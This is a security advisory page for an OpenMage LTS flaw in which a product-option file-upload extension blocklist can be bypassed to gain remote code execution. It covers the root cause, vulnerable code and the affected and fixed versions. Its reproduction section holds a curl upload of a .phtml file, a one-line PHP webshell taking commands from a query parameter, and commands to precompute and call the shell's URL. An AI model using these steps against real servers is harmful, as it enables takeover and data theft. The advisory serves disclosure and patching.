GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-3j5q-7q7h-2hhvhigh8.8

OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

Check your stack

The advisory, in context

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 20.17.0

Fixed in 20.17.0

90 explicitly affected versions

1.9.1.1, 1.9.2.0, 1.9.2.1, 1.9.2.2, 1.9.2.3, 1.9.2.4, 1.9.3.0, 1.9.3.1, v19.4.0, v19.4.1, v19.4.10, v19.4.11, v19.4.12, v19.4.13, v19.4.14, v19.4.15, v19.4.16, v19.4.17, v19.4.18, v19.4.19, v19.4.2, v19.4.20, v19.4.21, v19.4.22, v19.4.23, v19.4.3, v19.4.4, v19.4.5, v19.4.6, v19.4.7, v19.4.8, v19.4.9, v19.5.0, v19.5.0-rc1, v19.5.0-rc2, v19.5.0-rc3, v19.5.0-rc4, v19.5.0-rc5, v19.5.1, v19.5.2, v19.5.3, v20.0.0, v20.0.1, v20.0.10, v20.0.11, v20.0.12, v20.0.13, v20.0.14, v20.0.15, v20.0.16, v20.0.17, v20.0.18, v20.0.19, v20.0.2, v20.0.20, v20.0.3, v20.0.4, v20.0.5, v20.0.6, v20.0.7, v20.0.8, v20.1.0, v20.1.0-rc1, v20.1.0-rc2, v20.1.0-rc3, v20.1.0-rc4, v20.1.0-rc5, v20.1.0-rc6, v20.1.0-rc7, v20.1.1, v20.10.0, v20.10.1, v20.10.2, v20.11.0, v20.12.0, v20.12.1, v20.12.2, v20.12.3, v20.13.0, v20.14.0, v20.15.0, v20.16.0, v20.2.0, v20.3.0, v20.4.0, v20.5.0, v20.6.0, v20.7.0, v20.8.0, v20.9.0

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "20.17.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "1.9.1.1",
    "1.9.2.0",
    "1.9.2.1",
    "1.9.2.2",
    "1.9.2.3",
    "1.9.2.4",
    "1.9.3.0",
    "1.9.3.1",
    "v19.4.0",
    "v19.4.1",
    "v19.4.10",
    "v19.4.11",
    "v19.4.12",
    "v19.4.13",
    "v19.4.14",
    "v19.4.15",
    "v19.4.16",
    "v19.4.17",
    "v19.4.18",
    "v19.4.19",
    "v19.4.2",
    "v19.4.20",
    "v19.4.21",
    "v19.4.22",
    "v19.4.23",
    "v19.4.3",
    "v19.4.4",
    "v19.4.5",
    "v19.4.6",
    "v19.4.7",
    "v19.4.8",
    "v19.4.9",
    "v19.5.0",
    "v19.5.0-rc1",
    "v19.5.0-rc2",
    "v19.5.0-rc3",
    "v19.5.0-rc4",
    "v19.5.0-rc5",
    "v19.5.1",
    "v19.5.2",
    "v19.5.3",
    "v20.0.0",
    "v20.0.1",
    "v20.0.10",
    "v20.0.11",
    "v20.0.12",
    "v20.0.13",
    "v20.0.14",
    "v20.0.15",
    "v20.0.16",
    "v20.0.17",
    "v20.0.18",
    "v20.0.19",
    "v20.0.2",
    "v20.0.20",
    "v20.0.3",
    "v20.0.4",
    "v20.0.5",
    "v20.0.6",
    "v20.0.7",
    "v20.0.8",
    "v20.1.0",
    "v20.1.0-rc1",
    "v20.1.0-rc2",
    "v20.1.0-rc3",
    "v20.1.0-rc4",
    "v20.1.0-rc5",
    "v20.1.0-rc6",
    "v20.1.0-rc7",
    "v20.1.1",
    "v20.10.0",
    "v20.10.1",
    "v20.10.2",
    "v20.11.0",
    "v20.12.0",
    "v20.12.1",
    "v20.12.2",
    "v20.12.3",
    "v20.13.0",
    "v20.14.0",
    "v20.15.0",
    "v20.16.0",
    "v20.2.0",
    "v20.3.0",
    "v20.4.0",
    "v20.5.0",
    "v20.6.0",
    "v20.7.0",
    "v20.8.0",
    "v20.9.0"
  ]
}

References